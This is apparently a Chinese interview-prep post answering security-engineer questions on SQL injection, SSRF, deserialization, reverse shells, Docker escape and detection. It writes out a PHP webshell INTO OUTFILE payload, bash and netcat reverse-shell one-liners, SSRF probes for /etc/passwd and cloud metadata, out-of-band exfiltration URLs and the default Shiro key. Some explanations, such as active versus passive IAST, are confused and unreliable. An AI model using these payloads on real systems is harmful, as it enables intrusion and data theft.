网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
携程旅游-基础安全工程师
反序列化原理
核心原理
扩展分析
SQL注入本质
核心原理
扩展分析
SQL注入写马流程
核心步骤
扩展分析
Outfile与Dumpfile的区别
宽字节截断原理
核心逻辑
扩展分析
SSRF的利用和防御
利用方式
防御方案
SSRF无回显如何利用
Shiro利用失败分析
文件上传防御
SQLMap原理与XSS扫描器对比
SQLMap核心逻辑
XSS扫描器原理
反弹Shell检测与原理
检测手段
反弹Shell原理
Agent信息采集与进程树构建
采集信息类型
进程树构建方法
提权检测
Docker逃逸原理
隧道本质
甲方代码审计与红队漏洞挖掘差异
漏扫与入侵检测的权衡
IAST主动与被动的区别
携程旅游-基础安全工程师
反序列化原理 sql注入本质 sql注入写马流程 outfile与dumpfile的区别 -前者支持多行和自定义编码 宽字节截断原理 SSRF的利用和防御 SSRF无回显如何利用 shiro利用失败,如何分析 文件上传如何防御 sqlmap原理,如何分析 文件上传如何防御 sqlmap原理,常规xss扫描器原理 反弹shell如何检测 反弹shell的原理 作为一个agent 需要采集哪些信息,如何构建进程树 提权如何检测 docker逃逸原理 隧道本质是什么 甲方的代码审计与红队漏洞挖掘有哪些差异 如何权衡各种漏扫或入侵检测的漏报和误报 IAST主动与被动的区别
助用户理解并应对面试。
反序列化原理
核心原理
序列化与反序列化的定义
序列化是将对象状态转换为可存储或传输格式(如JSON、XML、二进制流)的过程,反序列化是其逆向操作。其本质是通过特定协议将内存中的对象结构映射为字节流,便于跨平台传输或持久化存储。漏洞触发机制
反序列化漏洞的根源在于:当程序反序列化不可信数据时,若未严格校验数据合法性,攻击者可能通过构造恶意序列化数据触发非预期的对象创建、方法调用或代码执行。例如,Java中通过ObjectInputStream
反序列化时,可能触发readObject()
方法中的危险逻辑。典型攻击场景
- 利用链构造:攻击者通过组合目标类库中的多个类(如Apache Commons Collections的
Transformer
链),形成从反序列化入口到危险操作(如Runtime.exec()
)的完整利用链。- 动态类加载:某些框架(如XStream)允许通过序列化数据指定加载远程类文件,导致远程代码执行(RCE)。
扩展分析
- 防御措施
- 白名单验证:限制反序列化的类范围(如Java的
ObjectInputFilter
)。- 签名校验:对序列化数据添加数字签名,防止篡改。
- 禁用危险功能:如关闭Java的
JNDI
远程类加载功能。- 工具与检测
- 使用
ysoserial
生成攻击载荷,通过流量分析或代码审计识别漏洞点。- 安全框架如
SerialKiller
可拦截恶意反序列化行为。
SQL注入本质
核心原理
输入作为代码执行
SQL注入的本质是将用户输入拼接到SQL语句中,导致输入数据被解析为SQL代码。例如,' OR 1=1 --
闭合原查询条件,使查询逻辑失效。漏洞分类
- 联合查询注入:通过
UNION
合并恶意查询。- 布尔盲注:通过页面响应差异逐位推断数据。
- 时间盲注:利用
SLEEP()
等函数触发延迟判断。攻击影响
可导致数据泄露、篡改、权限提升,甚至通过xp_cmdshell
执行系统命令。扩展分析
- 防御方案
- 预编译(参数化查询):将输入作为参数而非语句的一部分(如Java的
PreparedStatement
)。- 输入过滤:过滤敏感字符(如
'
、"
、;
),但需注意转义规则与编码问题。- 最小权限原则:数据库账户仅分配必要权限,禁用危险函数。
- 自动化检测
- 动态扫描:通过
sqlmap
等工具自动化探测注入点。- 静态分析:使用
Semgrep
检查代码中的字符串拼接逻辑。
SQL注入写马流程
核心步骤
路径与权限获取
- 通过
@@secure_file_priv
查看MySQL导出路径限制。- 确保数据库用户具备
FILE
权限,且目标目录可写。文件写入
使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php'
将WebShell写入Web目录。访问与利用
通过HTTP请求访问WebShell,传递参数执行命令。扩展分析
- 限制条件
- MySQL需启用
--secure-file-priv
的非严格模式。- 绝对路径需通过报错或枚举获取(如
load_file()
读取配置文件)。- 防御手段
- 禁用
FILE
权限,限制数据库账户操作范围。- 对Web目录设置不可执行权限。
Outfile与Dumpfile的区别
- 功能差异
- OUTFILE:支持多行数据导出,可指定字段终止符(如
FIELDS TERMINATED BY ','
)和编码格式。- DUMPFILE:仅导出单行数据,适用于二进制文件(如图片、可执行文件)。
- 使用场景
- 导出文本:
OUTFILE
适用于CSV、日志等结构化文本。- 导出二进制:
DUMPFILE
用于导出BLOB字段或二进制内容。- 安全限制
两者均需FILE
权限,且受@@secure_file_priv
路径限制。
宽字节截断原理
核心逻辑
编码漏洞成因
当数据库使用GBK等宽字节编码时,若转义逻辑不当(如PHP的addslashes()
),'
被转义为\'
(即%5C%27
)。攻击者输入%bf%27
,数据库将%bf%5c
解析为繁体字“縗”,导致%27
('
)未被转义,从而闭合字符串。利用场景
常用于绕过转义函数,构造SQL注入或文件上传漏洞(如截断文件名a.php%bf.jpg
)。扩展分析
- 防御方案
- 统一使用UTF-8编码,避免宽字节问题。
- 使用
mysql_real_escape_string()
而非addslashes()
。
SSRF的利用和防御
利用方式
- 内网服务探测
- 访问
http://127.0.0.1:8080
探测本地服务。- 利用AWS元数据接口
http://169.254.169.254
获取云服务器敏感信息。- 协议滥用
- File协议:读取本地文件(
file:///etc/passwd
)。- Dict协议:探测端口信息(
dict://127.0.0.1:6379/info
)。- 远程代码执行
结合内网应用的RCE漏洞(如Redis未授权访问)实现攻击链。防御方案
- 输入校验
- 禁止内网IP和特殊协议(如
file://
)。- 使用域名白名单限制访问范围。
- 网络层防护
- 配置防火墙规则,限制应用服务器出站流量。
- 使用代理服务隔离请求来源。
SSRF无回显如何利用
- DNS带外(OOB)
构造URL如http://dnslog.cn/record?q=payload
,通过DNS查询日志获取数据。- 延迟检测
通过响应时间差异判断端口开放状态(如访问开放的Redis端口会立即返回错误)。- 外部服务交互
利用HTTP服务记录请求参数(如https://requestbin.com/?data=secret
)。
Shiro利用失败分析
- 密钥不匹配
Shiro的RememberMe功能依赖AES加密,若目标修改默认密钥(kPH+bIxk5D2deZiIxcaaaA==
),则无法解密Cookie。- 依赖库缺失
利用链需特定类库(如Commons Beanutils),若目标环境未包含则攻击失败。- 防御措施生效
- 开启Shiro的
secureRandom
增强密钥强度。- 使用WAF拦截恶意请求头。
文件上传防御
- 文件类型校验
- 检查MIME类型、文件头(如
FFD8FF
对应JPEG)。- 禁止上传可执行文件(如
.php
、.jsp
)。- 存储隔离
- 文件重命名(如UUID),避免路径遍历。
- 存储到非Web目录,通过代理服务访问静态资源。
- 服务端加固
- 设置文件大小限制,禁用危险函数(如
putenv()
)。- 使用沙箱环境处理上传文件。
SQLMap原理与XSS扫描器对比
SQLMap核心逻辑
- 启发式探测
通过报错信息(如You have an error in your SQL syntax
)判断注入点类型。- Payload生成
针对不同数据库(MySQL、MSSQL)构造联合查询、布尔逻辑等载荷。- 结果提取
利用UNION
查询、时间盲注逐位提取数据。XSS扫描器原理
- 模糊测试(Fuzzing)
插入<script>alert(1)</script>
等测试向量,检测是否原样输出。- DOM分析
解析JavaScript代码,检测document.location
等敏感源。- 自动化验证
通过浏览器引擎(如Headless Chrome)模拟点击,检测弹窗行为。
反弹Shell检测与原理
检测手段
- 网络流量分析
- 监控非常规端口的出站连接(如
/bin/bash
连接外部IP的4444端口)。- 识别Shell特征(如
sh -i
、/dev/tcp
)。- 进程监控
- 检测子进程链(如
sshd -> bash -> nc
)。- 使用
auditd
记录敏感系统调用(execve
)。反弹Shell原理
- 反向连接
受害主机主动连接攻击者控制的IP和端口,绕过防火墙限制。- 常用命令
- Bash:
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
- Netcat:
nc -e /bin/sh 1.1.1.1 4444
Agent信息采集与进程树构建
采集信息类型
- 系统基础信息
- 操作系统版本、内核参数、环境变量。
- 用户列表、计划任务、服务配置。
- 运行时数据
- 进程列表(PID、PPID、命令行参数)。
- 网络连接(端口、协议、状态)。
- 安全相关数据
- 文件完整性校验(如Tripwire)。
- 日志文件(syslog、auth.log )。
进程树构建方法
- 遍历/proc目录
解析/proc/[PID]/stat
获取父进程ID(PPID),递归生成树状结构。- 工具辅助
使用pstree
或htop
可视化展示进程关系。
提权检测
- 内核漏洞检测
使用uname -a
获取内核版本,匹配已知漏洞(如DirtyCow)。- SUID/SGID文件检查
查找具有SUID权限的可执行文件(find / -perm -4000
)。- sudo配置审计
检查/etc/sudoers
中用户权限是否过度分配。
Docker逃逸原理
- 特权模式滥用
使用--privileged
启动容器,攻击者可通过挂载宿主机目录(/
)逃逸。- 漏洞利用
利用CVE-2019-5736(runc漏洞)覆盖宿主机二进制文件。- 配置错误
挂载Docker Socket(/var/run/docker.sock
)允许容器内控制宿主机Docker服务。
隧道本质
- 协议封装
将原始流量封装在合法协议(如HTTP、DNS)中,绕过防火墙检测。- 流量转发
使用工具(如frp
、ngrok
)建立加密通道,将内网服务暴露至公网。
甲方代码审计与红队漏洞挖掘差异
- 目标差异
- 甲方:聚焦SDL(安全开发生命周期),修复潜在风险(如硬编码密钥)。
- 红队:寻找可利用漏洞(如RCE、SSRF),模拟真实攻击路径。
- 方法论
- 甲方:结合SAST/DAST工具,覆盖全量代码。
- 红队:针对性手工测试,利用0day和逻辑漏洞。
- 输出结果
- 甲方:生成漏洞报告并推动修复,关注合规性(如GDPR)。
- 红队:提供攻击路径报告,协助优化防御体系。
漏扫与入侵检测的权衡
- 误报处理
- 优化规则库:通过误报样本调整正则表达式阈值。
- 人工验证:对高风险告警手动确认。
- 漏报应对
- 威胁情报整合:基于最新攻击模式更新检测规则。
- 多层防御:结合网络层、主机层、应用层防护。
- 业务适配
- 根据业务重要性调整检测灵敏度(如金融系统偏向减少漏报)。
IAST主动与被动的区别
- 主动式(Instrumentation)
- 原理:在应用中插入探针,实时监控运行时的数据流和漏洞。
- 优点:覆盖率高,可检测上下文相关漏洞(如业务逻辑错误)。
- 缺点:性能损耗大,需适配不同语言框架。
- 被动式(流量分析)
- 原理:通过代理或镜像流量分析请求/响应,识别漏洞模式。
- 优点:无侵入性,支持多语言应用。
- 缺点:无法检测未触发代码路径的漏洞。